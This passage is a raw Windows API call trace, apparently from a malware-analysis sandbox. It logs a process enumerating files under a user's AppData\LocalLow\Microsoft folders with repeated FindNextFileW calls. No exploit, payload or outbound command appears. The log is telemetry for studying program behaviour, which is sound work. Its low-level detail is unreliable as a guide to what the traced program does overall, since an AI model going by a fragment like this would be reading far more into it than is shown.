cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cAlternateFileName="7D266D~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6056b480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6056b480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1ef687a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cAlternateFileName="8059E9~3")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x611ea800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x611ea800, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaecc9960, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cAlternateFileName="80273C~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58e24200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58e24200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9f5f40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", cAlternateFileName="8059E9~2")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61236ac0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61236ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3b0b01a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cAlternateFileName="809279~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5836df00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5836df00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f739c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cAlternateFileName="8059E9~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62378a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62378a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9a9c80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cAlternateFileName="80E4BE~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x613675c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613675c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69bba4a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cAlternateFileName="803B9E~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x63c50fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63c50fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb100bf40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", cAlternateFileName="803D37~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61021780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61021780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1058200, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cAlternateFileName="8059E9~4")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x636a9ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x636a9ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb139e040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cAlternateFileName="800D31~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x581f7ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x581f7ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f4d860, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cAlternateFileName="828298~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3c5340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec3c5340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xb16257a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cAlternateFileName="8828F3~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x8064ac00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8064ac00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80670d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", cAlternateFileName="8828F3~2")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6aa2c0a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6aa2c0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xadf19ae0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x196, dwReserved0=0x0, dwReserved1=0x0, cFileName="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cAlternateFileName="8E4E51~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbf0dd70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0x0, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6a83cec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a83cec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaebe5120, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x0, cFileName="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cAlternateFileName="955CAB~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf3f73d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf3f73d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf3f73d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cAlternateFileName="9BC2FF~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe06277d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe06277d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xb15d94e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", cAlternateFileName="9C888B~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe07ca6f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe07ca6f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x965accc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cAlternateFileName="9C888B~2")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54bc3730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54bc3730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb11d4fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cAlternateFileName="A9E4F7~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bfe570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bfe570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cAlternateFileName="ACF244~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe04aaa10, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe04aaa10, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xae4e7080, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cAlternateFileName="B3BB9C~2")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefc01b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefc01b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaa4ee1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", cAlternateFileName="B3BB9C~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54322770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54322770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0x0, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cAlternateFileName="BC570E~2")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0x0, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cAlternateFileName="BC570E~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x56bb3b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x56bb3b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeca3800, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cAlternateFileName="C46E7B~2")) returned 1 [0089.163] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x682fbd00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x682fbd00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0bca00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cAlternateFileName="C46E7B~3")) returned 1 [0089.163] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5461c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5461c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf67eb30, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", cAlternateFileName="C46E7B~1")) returned 1 [0089.163] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x728c68a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x728c68a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xae63dce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cAlternateFileName="D47DBD~2")) returned 1 [0089.163] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x545f6190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x545f6190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69b6e1e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x0, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cAlternateFileName="D47DBD~1")) returned 1 [0089.163] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x808d4a70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x808d4a70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x808d4a70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cAlternateFileName="D52C56~1")) returned 1 [0089.163] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x683e0540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x683e0540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f015a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cAlternateFileName="EA6180~1")) returned 1 [0089.163] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf312b90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf312b90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf312b90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", cAlternateFileName="F293AE~1")) returned 1 [0089.163] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0089.163] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0 [0089.163] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.163] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.164] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content", cAlternateFileName="")) returned 1 [0089.164] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 1 [0089.164] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 0 [0089.164] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.167] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.167] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.167] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.167] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.167] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 